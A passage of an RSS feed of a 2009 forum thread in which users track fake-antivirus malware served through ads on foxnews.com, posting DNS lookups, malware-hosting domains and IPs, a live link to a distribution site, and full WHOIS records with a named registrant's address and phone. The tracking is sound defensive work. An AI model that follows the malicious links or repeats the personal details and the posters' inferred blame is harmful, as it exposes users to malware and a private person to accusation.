URL"><IMG  align=absmiddle TITLE="" SRC="http://i.dslr.net/silk/information.png" border=0 width=16 height=16></A><br><A TITLE="Zoom" HREF="http://i.dslr.net/urls/32/89332.png"><IMG BORDER=0 SRC="http://i.dslr.net/urls/32/89332.gif"></A><br>&raquo;<A HREF="http://toppromooffer.com/vsm/index.html" >toppromooffer.com/vsm/index.html</A></small></div><br><br>Many of the same locations as were listed in the earlier post are showing up once again. AS24940 HETZNER is a repeated cesspool for this genre of virus infections:<br><br>[att=4]<br><br>Added excerpt for emphasis:<br><br> <blockquote><small>quote:</small><hr>Has this network hosted sites that have distributed malware?<br><br>Yes, this network has hosted sites that have distributed malicious software in the past 90 days. We found 85 site(s), including, for example, <b>toppromooffer.com/, bestantimalwarelivescanner.com/, bonuspromooffer.com/, that infected 5596 other site(s)</b>, including, for example, portalby.net/, noreastcycling.com/, asiaspa.ie/.<br><hr></blockquote><br><br>Yes, that is: We found 85 site(s), including, for example, <b>toppromooffer.com</b> that infected <b>5,596</b> other site(s <br><br>Some more observations to follow.<br><br>MGD<br> <br><small>Edit= Added text</small><div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22264126?c=1421322&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="3798 bytes" BORDER=0 WIDTH=505 HEIGHT=127 SRC="/r0/download/1421322~e40a467894ea8ec3625ceaec5861ea23/truconv.com_virus.png"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22264126?c=1421324&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="33810 bytes" WIDTH=600 HEIGHT=455 SRC="/r0/download/1421324.thumb600~af67fd05ad1a3ad5f0eba7aeb672c290/fox_virus2.png/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22264126?c=1421329&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="2031 bytes" WIDTH=600 HEIGHT=17 SRC="/r0/download/1421329.thumb600~9946ac1d8f4d34f9c14f0a26d428fa23/fox_download.png/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22264126?c=1421345&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG TITLE="18638 bytes" BORDER=0 WIDTH=506 HEIGHT=488 SRC="/r0/download/1421345~759cfae6741fa599f30093588f0ccb87/Hetzner_as24940.png"></A></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22264126</guid>
<pubDate>Sun, 19 Apr 2009 23:33:48 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22263841</link>
<description><![CDATA[<A HREF="/useremail/u/668609"><b>EGeezer</b></A> : <div class="bquote"><small>said by  La Luna <A HREF="/useremail/u/429050"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>... Are you running both, or just one? I tried both a while back and found them extremely annoying, blocking things that shouldn't be blocked like videos, etc. It was torture trying to weed out the bad stuff from the good to get things working.<br> </div>I run both. <br><br>I agree, it's a pain until you learn where the media is usually stored. thanks for the quickjava mention - I'll have to try that. <br><small>--<br>The greatest dangers to liberty lurk in insidious encroachment by men of zeal, well-meaning but without understanding. -- Justice Louis D. Brandeis</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22263841</guid>
<pubDate>Sun, 19 Apr 2009 22:31:10 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22263820</link>
<description><![CDATA[<A HREF="/useremail/u/429050"><b>La Luna</b></A> : <div class="bquote"><small>said by  EGeezer <A HREF="/useremail/u/668609"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>Seriously, my NoScript and AdBlocker take care of the issues. If I need to allow scripting, I do so only for their home domain. <br> </div>I was just going to ask that question, does AdBlock and/or NoScript prevent this malware? Are you running both, or just one? I tried both a while back and found them extremely annoying, blocking things that shouldn't be blocked like videos, etc. It was torture trying to weed out the bad stuff from the good to get things working.<br><br>I also use a simple Firefox add on called QuickJava that allows me to block both java and java scripting on the fly as I see fit on a site per site basis, although I'm not sure it would work with this issue as there are multiple domains involved, not just the home domain.<br><small>--<br><b>1/20/09 The Beginning of the End<br> <br><A HREF="http://www.thereligionofpeace.com/">13,067 DEADLY TERROR ATTACKS SINCE 9/11</a></b></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22263820</guid>
<pubDate>Sun, 19 Apr 2009 22:28:16 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22263761</link>
<description><![CDATA[<A HREF="/useremail/u/668609"><b>EGeezer</b></A> : <br><br>Seriously, my NoScript and AdBlocker take care of the issues. If I need to allow scripting, I do so only for their home domain. It takes care of the malware issue.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22263761</guid>
<pubDate>Sun, 19 Apr 2009 22:15:55 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22263527</link>
<description><![CDATA[<A HREF="/useremail/u/1423054"><b>caryuser</b></A> : Hi, <br><br>I have been on foxnews.com twice this weekend, and both times I saw suspicious behavior.  One time Firefox blocked access to a site called antimalware-scannerv2.com.  However today Firefox did not block access to a site called onlinevirusbusterv2.com.  After I started reading an article on foxnews.com for a few seconds, my browser was redirected to a fake av site that "performed" a bogus virus scan on my machine.  I fear most people fall for this stuff and end up installing the trojan.  At this point, I feel it is unsafe to go to foxnews.com.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22263527</guid>
<pubDate>Sun, 19 Apr 2009 21:29:21 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22262976</link>
<description><![CDATA[<A HREF="/useremail/u/429050"><b>La Luna</b></A> : <div class="bquote"><small>said by  grifty <A HREF="/useremail/u/1254061"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>I went to foxnews.com today and the browser shut down automatically. I then got a message saying my computer was infected. <br><br>I closed the dialog box and it brought me to a website designed to look like a virus scan was running on my computer. I closed down the browser.<br><br>Eset nod32 did not detect anything but it's probably because I did not allow anything to be downloaded to my system.<br> </div>You might want to run some tools to make sure:<br><br>&raquo;<A HREF="/forum/r22231213-Re-foxnewscom-infected">Re: foxnews.com infected?</A><br><small>--<br><b>1/20/09 The Beginning of the End<br> <br><A HREF="http://www.thereligionofpeace.com/">13,063 DEADLY TERROR ATTACKS SINCE 9/11</a></b></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22262976</guid>
<pubDate>Sun, 19 Apr 2009 19:15:30 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22262242</link>
<description><![CDATA[<A HREF="/useremail/u/1254061"><b>grifty</b></A> : I went to foxnews.com today and the browser shut down automatically. I then got a message saying my computer was infected. <br><br>I closed the dialog box and it brought me to a website designed to look like a virus scan was running on my computer. I closed down the browser.<br><br>Eset nod32 did not detect anything but it's probably because I did not allow anything to be downloaded to my system.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22262242</guid>
<pubDate>Sun, 19 Apr 2009 16:08:28 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22262127</link>
<description><![CDATA[<A HREF="/useremail/u/1637908"><b>Cometcom1</b></A> : I concur with your assessment MGD.<br><br>I've seen this happen here in my country on a local scale as well. "Our" local infection was hosted in China, but spread out on all Danish news sites.<br><br>This community has continued to report this infection even after I thought it was over.<br><br>Foxnews is still infected - unfortunately.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22262127</guid>
<pubDate>Sun, 19 Apr 2009 15:33:56 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22262071</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : <div class="bquote"><small>said by  Cometcom1 <A HREF="/useremail/u/1637908"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>It seems that the infection emanating from foxnews.com has stopped. I haven't been able to verify any malware from the site today.<br>...<br>..<br></div>Be advised that there is a high probability that the advertiser serving up this malware may be rotating geographic regional adds, either based on the visitors IP, or existing cookies. The exposure may rotate by region depending on the add criteria, and not everyone will "see" the same rotation. I saw earlier reports from several days prior to my original post listing the infection, that pronounced foxnews "clean". I would be hesitant to assume from the absence of the malware over any time period that the issue has been resolved, without some confirmation from the offending advertiser.<br><br>I suspect that this is a well organized infection vector that is designed for variable regional exposure, in order to preserve the operation and obfuscate the origin. <br><br>While I understand your reluctance to publish your analysis data and identify the advertising source, I am interested in a relevant issue. Have you determined if the source is a direct add link, or if it appears to be a "legit" add link compromised by some form of injection?.<br><br>The reason I ask, is that it is already known and verified that some of the criminals that are pumping this malware are using paid sponsor adds to promote the infection. A previous fake antivirus thread identified a small time operative and affiliate recruiter residing in Moscow, Russia with the alias "Cactus" was using paid sponsor adds on Yahoo and others to promote the malware to consumers in this thread: &raquo;<A HREF="/forum/r21765406-Scam-Realavorg-Antivirus2009-malware-takeover">[Scam] Real-av.org - Antivirus2009 malware takeover</A> and this specific post. &raquo;<A HREF="/forum/r21917266-">Re: [Scam] Real-av.org - Antivirus2009 malware takeover</A><br><br>An unacceptable weak link in the internet advertising industry, which has been discussed on numerous occasions in that forum, is the lack of vetting during the submission process. While advertisers may review keywords and relevant links for acceptability, they routinely do not take simple steps to validate the submitter against the form of payment used. I have recorded and documented cyber criminals using stolen card data to successfully open and use Google adsense accounts. The success was dependent on an approval of the charge submitted against the stolen card.<br><br>I hope that you will publish the reference data for review even if no response is forthcoming. Even if the data is inconclusive and lacks confirmation from the source, it should be published for others to evaluate.<br><br>This vector is not a one time event, neither do I believe that foxnews.com is the only site that is subject to this issue.<br><br>Two of the many entities that are responsible for this malware becoming an epidemic, are the support services repeatedly obtained from the global financial card processing and banking system, and the services of the internet advertising industry. Nether one, but especially the banking system are doing reasonable due diligence wit respect to this criminal activity.<br><br>MGD ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22262071</guid>
<pubDate>Sun, 19 Apr 2009 15:21:11 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22261973</link>
<description><![CDATA[<A HREF="/useremail/u/197199"><b>Doctor Four</b></A> : I'm not surprised in the least to see DIRECTI's involvement in this. They have been implicated in a huge number of rogue security software scams.<br><br>They continually allow the cybercriminals behind these fraudware sites to register new domains, all the while claiming they are taking action against them by shutting down existing ones.<br><small>--<br>"The trouble with computers, of course, is that they are very sophisticated idiots." - Doctor Who (from Robot)<br></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22261973</guid>
<pubDate>Sun, 19 Apr 2009 14:50:53 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22261866</link>
<description><![CDATA[<A HREF="/useremail/u/1637908"><b>Cometcom1</b></A> : Durn (Excuse my french). I had hoped they'd done something to fix it.<br><br>Question. Is there any ads that fail to show up for any of you. On my view, I have two ads (denoted by ADVERTISING) on the right vertical bar. Often these are totally blank - If you don't experience these blank spots, then I have a hunch the malware is originating from that location. There's obviously some intelligence involved in the distribution.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22261866</guid>
<pubDate>Sun, 19 Apr 2009 14:15:27 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22261848</link>
<description><![CDATA[<A HREF="/useremail/u/1030204"><b>NetFixer</b></A> : <div class="bquote"><small>said by  Its a Secret <A HREF="/useremail/u/1531837"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br><div class="bquote"><small>said by  Cometcom1 <A HREF="/useremail/u/1637908"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>I still haven't heard from foxnews but perhaps they can enlighten us later with their response. </div> I can't imagine Fox will admit any cupability in this. The odds are too great that they'd be sued.<br> </div>The most that will be said (if anything) is the standard corporate response: <br>"<i>We did not do it. It is possible that a subcontractor may have done something, but we are not aware of any wrongdoing and we are not responsible for any actions taken by a subcontractor</i>".<br><small>--<br>A well-regulated militia, being necessary to the security of a free State, the right of the people to keep and bear arms shall not be infringed.<br>&raquo;<A HREF="http://portscan.dcs-net.net" >portscan.dcs-net.net</A><br>&raquo;<A HREF="http://nature-pics.com" >nature-pics.com</A></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22261848</guid>
<pubDate>Sun, 19 Apr 2009 14:10:49 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22261834</link>
<description><![CDATA[<A HREF="/useremail/u/1531837"><b>Its a Secret</b></A> : <div class="bquote"><small>said by  Cometcom1 <A HREF="/useremail/u/1637908"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>I still haven't heard from foxnews but perhaps they can enlighten us later with their response. </div> I can't imagine Fox will admit any cupability in this. The odds are too great that they'd be sued.<br><small>--<br>"In the future, that which is not mandatory will be illegal"<br>"Nobody knows the age of the human race, but everybody agrees that it is old enough to know better" - Anonymous</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22261834</guid>
<pubDate>Sun, 19 Apr 2009 14:04:27 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22261833</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : Still infecting... I was just hit.. Its been going on for several days.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22261833</guid>
<pubDate>Sun, 19 Apr 2009 14:04:09 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22261812</link>
<description><![CDATA[<A HREF="/useremail/u/1637908"><b>Cometcom1</b></A> : It seems that the infection emanating from foxnews.com has stopped. I haven't been able to verify any malware from the site today.<br><br>If anyone is still experiencing this, please let us know either here at dslreports or through the link fatness provided. (thanks fatness)<br><br>I still haven't heard from foxnews but perhaps they can enlighten us later with their response.<br><br>Cometcom1]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22261812</guid>
<pubDate>Sun, 19 Apr 2009 13:56:39 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22258940</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : All this fuss over my laptop almost getting infected.<br><br> :D]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22258940</guid>
<pubDate>Sat, 18 Apr 2009 18:03:00 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22258925</link>
<description><![CDATA[<A HREF="/useremail/u/243195"><b>fatness</b></A> : &raquo;<A HREF="http://badwarebusters.org/main/itemview/2772" >badwarebusters.org/main/itemview/2772</A>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22258925</guid>
<pubDate>Sat, 18 Apr 2009 18:00:54 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22258848</link>
<description><![CDATA[<A HREF="/useremail/u/1637908"><b>Cometcom1</b></A> : I have now managed to obtain a proxy log and a tcp dump of the infection taking place. This should enable us to say what exactly is happening.<br><br>I still haven't heard from foxnews.com, if any of you have them on the line, please let them know that I have some of the information required to fix the issue.<br><br>Cometcom1]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22258848</guid>
<pubDate>Sat, 18 Apr 2009 17:38:33 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22258597</link>
<description><![CDATA[<A HREF="/useremail/u/890561"><b>Robotics</b></A> : I'm sure we all have our fingers crossed this can be corrected/caught in good time.<br><br>Thanks for your all's help, and nice to met you  :)]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22258597</guid>
<pubDate>Sat, 18 Apr 2009 16:32:36 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22258279</link>
<description><![CDATA[<A HREF="/useremail/u/1637908"><b>Cometcom1</b></A> : With the deepest respect for dslreports.com. I've got no problems with not telling who I am, or what connection I have with the reporting. - I work with and am connected with stopbadware.org/www.consumerwebwatch.org - through one of their mutual sites. - We're not here to steal your users, but rather to offer our help when need be.<br><br>dslreports has always been one of the best resources of the web, and I hope it stays that way.<br><br>That said - I'm working to get to the bottom of this, and have identified the possible advertising partner involved. However, I have not received any response from foxnews.com about the issue. I will be investigating this a little more in depth later and give you all a full disclosure of what has been found.<br><br>dslreports.com is the cause for the stopbadware community becoming interested in this issue.<br><br>Cometcom1]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22258279</guid>
<pubDate>Sat, 18 Apr 2009 14:53:57 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22257828</link>
<description><![CDATA[<A HREF="/useremail/u/1249072"><b>buttoni</b></A> : Great, CajunTek.  Glad someone took care of that little matter.   ;)  Thanks.  ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22257828</guid>
<pubDate>Sat, 18 Apr 2009 12:44:14 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22257010</link>
<description><![CDATA[<A HREF="/useremail/u/243195"><b>fatness</b></A> : <div class="bquote"><small>said by  CajunTek <A HREF="/useremail/u/855835"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br><div class="bquote"><small>said by  buttoni <A HREF="/useremail/u/1249072"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>So now that you guys have proven something's up with Foxnews.com who's gonna contact Foxnews.com so their tech folks can clean it up?   ;) :)  <br> </div>I did, and I also reported it to stopbadware.org as well...<br><br>Hopefully it'll be cleaned up by now.<br> </div>Thank you.<br><small>--<br><A HREF="http://www.dslreports.com/r0/download/1370721~74256f2b8b4b5b881ae82d211fa2c6ad/couch.jpg">goodbye dad</a></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22257010</guid>
<pubDate>Sat, 18 Apr 2009 08:30:36 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22256850</link>
<description><![CDATA[<A HREF="/useremail/u/1637908"><b>Cometcom1</b></A> : I can confirm there is an infection of the site.<br><br>The site is infected through ads and it is these that cause the problem. There can be numerous ads involved, but I have singled out one for sure.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22256850</guid>
<pubDate>Sat, 18 Apr 2009 06:27:41 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22256149</link>
<description><![CDATA[<A HREF="/useremail/u/855835"><b>CajunTek</b></A> : <div class="bquote"><small>said by  buttoni <A HREF="/useremail/u/1249072"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>So now that you guys have proven something's up with Foxnews.com who's gonna contact Foxnews.com so their tech folks can clean it up?   ;) :)  <br> </div>I did, and I also reported it to stopbadware.org as well...<br><br>Hopefully it'll be cleaned up by now.<br><small>--<br>da Cajun  Darn I hate Malware</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22256149</guid>
<pubDate>Fri, 17 Apr 2009 23:38:03 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22253996</link>
<description><![CDATA[<A HREF="/useremail/u/436079"><b>DrStrange</b></A> : Fox News isn't necessarily serving the infected ad.  Their techs might be able to take it out of rotation on the site, but to take the ad down the originating server needs to be identified and disinfected.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22253996</guid>
<pubDate>Fri, 17 Apr 2009 15:34:25 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22253978</link>
<description><![CDATA[<A HREF="/useremail/u/1249072"><b>buttoni</b></A> : So now that you guys have proven something's up with Foxnews.com who's gonna contact Foxnews.com so their tech folks can clean it up?   ;) :)  ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22253978</guid>
<pubDate>Fri, 17 Apr 2009 15:30:32 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22253782</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : This appears to be a "stealth" infection operation. A few hours ago the authoritative NS for <b>onlineproantispywarescannerv2.com</b> ns1, 2, & 3.greatwallsupport.com began denying all knowledge of its existance.:<br><br>NsLookup<br>----------------------------------<br>domain: onlineproantispywarescannerv2.com<br><br>server: ns1.greatwallsupport.com [85.17.254.136] returned a non-authoritative response in 125 ms: <br><br>Query refused<br>----------------------------------<br><br>Within the past few minutes:<br><br>NsLookup<br>----------------------------------<br>onlineproantispywarescannerv2.com<br><br>server: ns1.greatwallsupport.com <br><br>Address lookup for ns1.greatwallsupport.com failed: Host not found<br>----------------------------------<br><br>I suspect that they are rotating in malicious ads with a pool of various domains hosting the infections. Each malware advertisement is only active for several hours to minimize exposure. Matching DNS services are set active during the exposure period, and are then withdrawn in an coordinated attempt to hide the trail.<br><br>While the infection vector was active on foxnews.com <br><br>The authoritative NS for <b>onlineproantispywarescannerv2.com</b> was<br><br><b>ns1.greatwallsupport.com</b> at IP <b>85.17.254.136</b> <br> <br><b>ns2.greatwallsupport.com</b> at IP <b>203.174.83.75</b> <br> <br><b>ns3.greatwallsupport.com</b> at IP <b>115.126.5.10</b><br><br>During that active period the <b>greatwallsupport.com</b> name servers were directing request for <b>onlineproantispywarescannerv2.com</b> to the following IPs:<br><br><b>78.47.91.153</b> static.153.91.47.78.clients.your-server.de <br><br>[<A HREF="http://74.125.95.132/search?q=cache:pEHkhfiKrzQJ:www.honeynet.cz/%3Fmmenu%3Dstatistiky%26smenu_int%3D7%26lang%3Dcz%26vmetr%3D7%26country%3Dde%26tabstat%3D30+78.47.91.153&cd=2&hl=en&ct=clnk&gl=us">Prior history includes</a> hosting: fullantispywareproscan.com/ "loader"   &<br>securedradiostation.cn/soft.php "iframe" <A HREF="http://www.google.com/search?hl=en&q=78.47.91.153&btnG=Search">and more</a>]<br><br><b>78.47.172.66</b> static.66.172.47.78.clients.your-server.de <br><br>[A sampling of prior history includes hosting: antivirus360-protection.com, securedantivirusonlinescanner.com, securedliveuploads.com, softwarforgoodusers.cn, trustedpaymentsystem.com, <A HREF="http://www.google.com/search?hl=en&q=78.47.172.66&btnG=Search">and more</a>]<br><br><b>92.62.98.20</b> ns1.tallinnblog.org<br><br>[No priors, according to domaintools.com these domains are hosted there: <br>1.  Blogcash.org <br>2.  Help-now.org <br>3.  Paul-schoenle.com <br>4.  Tallinnblog.org ]<br><br><b>94.76.213.227</b> 94-76-213-227.static.as29550.net<br><br>[Nefarious history of hosting similar malware according to <A HREF="http://74.125.95.132/search?q=cache:gIUFTCElevcJ:ddanchev.blogspot.com/2009_03_01_archive.html+94.76.213.227&cd=2&hl=en&ct=clnk&gl=us">Dancho Danchev's Blog</a> and <A HREF="http://www.google.com/search?hl=en&q=94.76.213.227&btnG=Search">more</a>]<br><br><b>94.247.3.40</b> hs.3-40.zlkon.lv <br><br>[Extensive prior history of similar Anti Virus  <A HREF="http://www.google.com/search?hl=en&q=94.247.3.40&btnG=Search">malware hosting</a>]<br><br>Though <b>onlineproantispywarescannerv2.com</b> and <b>greatwallsupport.com</b> were projected as being hosted at various places around the globe, and only while the infection was being actively pushed, the cyber birthplace of both criminal domains are in the <b>Ukraine</b> at <b>S-HOSTING.BIZ</b> on:<br><br>IP <b>194.54.83.78</b> [reverse DNS - server.s-hosting.biz]<br><br><pre><br> <br>Domain Name:                                 S-HOSTING.BIZ<br>Domain ID:                                   D17077428-BIZ<br>Sponsoring Registrar:                        DIRECTI INTERNET SOLUTIONS PVT. LTD. <br> D/B/A PUBLICDOMAINREGISTRY.COM<br>Sponsoring Registrar IANA ID:                303<br>Domain Status:                               ok<br>Registrant ID:                               DI_5578081<br>Registrant Name:                             Nikolay Tabakov<br>Registrant Organization:                     Stephani hosting<br>Registrant Address1:                         Topolevaya str. 17, app.6<br>Registrant City:                             Odessa<br>Registrant State/Province:                   Odessa Oblast<br>Registrant Postal Code:                      65009<br>Registrant Country:                          Ukraine<br>Registrant Country Code:                     UA<br>Registrant Phone Number:                     +380.487198431<br>Registrant Facsimile Number:                 +380.964635373<br>Registrant Email:                            admin@stephani.od.ua<br>Administrative Contact ID:                   DI_5578081<br>Administrative Contact Name:                 Nikolay Tabakov<br>Administrative Contact Organization:         Stephani hosting<br>Administrative Contact Address1:             Topolevaya str. 17, app.6<br>Administrative Contact City:                 Odessa<br>Administrative Contact State/Province:       Odessa Oblast<br>Administrative Contact Postal Code:          65009<br>Administrative Contact Country:              Ukraine<br>Administrative Contact Country Code:         UA<br>Administrative Contact Phone Number:         +380.487198431<br>Administrative Contact Facsimile Number:     +380.964635373<br>Administrative Contact Email:                admin@stephani.od.ua<br>Billing Contact ID:                          DI_5578081<br>Billing Contact Name:                        Nikolay Tabakov<br>Billing Contact Organization:                Stephani hosting<br>Billing Contact Address1:                    Topolevaya str. 17, app.6<br>Billing Contact City:                        Odessa<br>Billing Contact State/Province:              Odessa Oblast<br>Billing Contact Postal Code:                 65009<br>Billing Contact Country:                     Ukraine<br>Billing Contact Country Code:                UA<br>Billing Contact Phone Number:                +380.487198431<br>Billing Contact Facsimile Number:            +380.964635373<br>Billing Contact Email:                       admin@stephani.od.ua<br>Technical Contact ID:                        DI_5578081<br>Technical Contact Name:                      Nikolay Tabakov<br>Technical Contact Organization:              Stephani hosting<br>Technical Contact Address1:                  Topolevaya str. 17, app.6<br>Technical Contact City:                      Odessa<br>Technical Contact State/Province:            Odessa Oblast<br>Technical Contact Postal Code:               65009<br>Technical Contact Country:                   Ukraine<br>Technical Contact Country Code:              UA<br>Technical Contact Phone Number:              +380.487198431<br>Technical Contact Facsimile Number:          +380.964635373<br>Technical Contact Email:                     admin@stephani.od.ua<br>Name Server:                                 NS1.S-HOSTING.BIZ<br>Name Server:                                 NS2.S-HOSTING.BIZ<br>Created by Registrar:                        <b>ESTDOMAINS INC</b><br>Last Updated by Registrar:                   DIRECTI INTERNET SOLUTIONS PVT. LTD. <br>D/B/A PUBLICDOMAINREGISTRY.COM<br>Last Transferred Date:                       Mon Dec 01 13:54:54 GMT 2008<br>Domain Registration Date:                    Wed Mar 28 15:23:46 GMT 2007<br>Domain Expiration Date:                      Sat Mar 27 23:59:59 GMT 2010<br>Domain Last Updated Date:                    Fri Mar 20 23:52:33 GMT 2009<br></pre><br>.<br>Questions <br>name class type <br>greatwallsupport.com IN ANY <br><br>Answer records <br>name class type data time to live <br>greatwallsupport.com IN NS ns1.s-hosting.biz 826s <br>greatwallsupport.com IN NS ns2.s-hosting.biz 826s <br>.<br>194.54.83.78 [reverse DNS - server.s-hosting.biz]<br>.<br><pre><br>IP Information for 194.54.83.78<br>IP Location:   Ukraine Realon Service Llc  <br>Resolve Host:  server.s-hosting.biz  <br>IP Address:  194.54.83.78       <br>Reverse IP:  242 other sites hosted on this server.  <br>Blacklist Status:  Clear  <br>.<br>Whois Record<br>inetnum:        194.54.80.0 - 194.54.83.255<br>netname:        REALON-UA<br>descr:          Realon Service LLC<br>remarks:        www.server.ua<br>country:        UA<br>org:            ORG-BEAR1-RIPE<br>admin-c:        PRO-RIPE<br>tech-c:         PRO-RIPE<br>status:         ASSIGNED PI<br>mnt-by:         RIPE-NCC-HM-PI-MNT<br>mnt-lower:      RIPE-NCC-HM-PI-MNT<br>mnt-by:         SERVER-MNT<br>mnt-routes:     SERVER-MNT<br>mnt-domains:    SERVER-MNT<br>source:         RIPE # Filtered<br>.<br>organisation:   ORG-BEAR1-RIPE<br>org-name:       Realon Service LLC<br>org-type:       OTHER<br>address:        